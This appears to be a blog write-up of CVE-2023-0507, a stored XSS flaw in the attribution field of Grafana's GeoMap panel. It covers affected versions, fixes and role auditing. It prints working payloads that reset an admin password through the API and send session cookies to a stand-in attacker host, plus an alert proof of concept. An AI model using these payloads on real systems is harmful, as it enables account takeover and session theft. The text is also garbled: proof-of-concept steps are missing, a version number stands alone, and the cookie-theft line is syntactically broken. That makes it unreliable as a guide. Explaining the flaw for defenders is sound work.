CVE-2023-0507 - Breaking Down the Grafana GeoMap Stored XSS Flaw

Grafana, used by thousands of organizations for monitoring and observability, faced a significant security issue in its core plugin called GeoMap. This flaw, identified as CVE-2023-0507, exposed Grafana dashboards to a stored XSS (Cross-Site Scripting) attack. In this long read, we’ll explain what happened, show a possible exploit, and provide guidance on protecting your systems.

What is Grafana GeoMap and Why This Matters

Grafana lets users build powerful dashboards integrating multiple data sources. The GeoMap panel is a feature for adding and visualizing maps—with attribution text and links.

What went wrong:  
Starting from Grafana 8.1, the map attribution text wasn’t sanitized correctly. This opened the door for attackers to inject arbitrary JavaScript into dashboards—potentially taking control of user sessions or escalating privileges.

Understanding CVE-2023-0507

Vulnerability type: Stored XSS  
Affected Grafana versions: 8.1 and up (fixed in 8.5.21, 9.2.13, and 9.3.8)  
Attack vector: Map attribution field in GeoMap plugin  
Access needed: Editor role or higher

The core of the vulnerability is simple—attribution fields (usually used for copyright notes or map provider credits) could contain raw HTML and JavaScript.  

Any code written here gets rendered for all users viewing that dashboard, including Admins. If an attacker with Editor rights adds malicious code, they can hijack sessions or reset passwords via a vertical privilege escalation.

Let’s say Alice has Editor rights on Grafana. She injects the following in the GeoMap settings

<script>
    fetch('/api/admin/users/1/password', {
        method: 'PUT',
        headers: {'Content-Type': 'application/json'},
        body: JSON.stringify({password: 'new-admin-pass'})
    });
</script>

*(Note: Offensive code is simplified for demonstration—the real exploit would require authentication handling)*

Now, when Bob (a Grafana Admin) views this dashboard, the code runs as Bob’s account—effectively letting Alice change the Admin’s password, or steal their session token:

<script>
    fetch('https://evil-attacker.com/steal?cookie='; + document.cookie);
</script>

Even with no intention to attack, a mistake in attribution text could break dashboards for everyone.

Proof of Concept: Exploiting the Vulnerability

Step 1: Login as a Grafana Editor  
Make sure you can edit dashboards.

Step 2: Edit a Panel with GeoMap  
Pick or create a GeoMap panel. Go to "Panel Settings" > "Attribution".

Paste this payload

<script>alert('XSS by CVE-2023-0507!')</script>

Step 4: Save and Share
Any user (including Admins) opening the dashboard will see the alert—proving arbitrary code execution.

9.3.8

*See the official advisory for details.*

Update Grafana immediately to one of the fixed versions.

2. Audit user roles—limit ‘Editor’ rights and review dashboard attributions for suspicious code.
3. Regularly check Grafana change logs and GitHub for new advisories.

References

- Grafana Security Advisory for CVE-2023-0507
- Grafana Release Notes
- NVD Entry for CVE-2023-0507

Final Thoughts

Stored XSS bugs are a recurring problem in web software, but their impact on admin interfaces like Grafana is especially dangerous. If you maintain Grafana instances, update now—and rethink your privilege assignments.

Timeline

Published on: 03/01/2023 16:15:00 UTC
Last modified on: 03/09/2023 01:08:00 UTC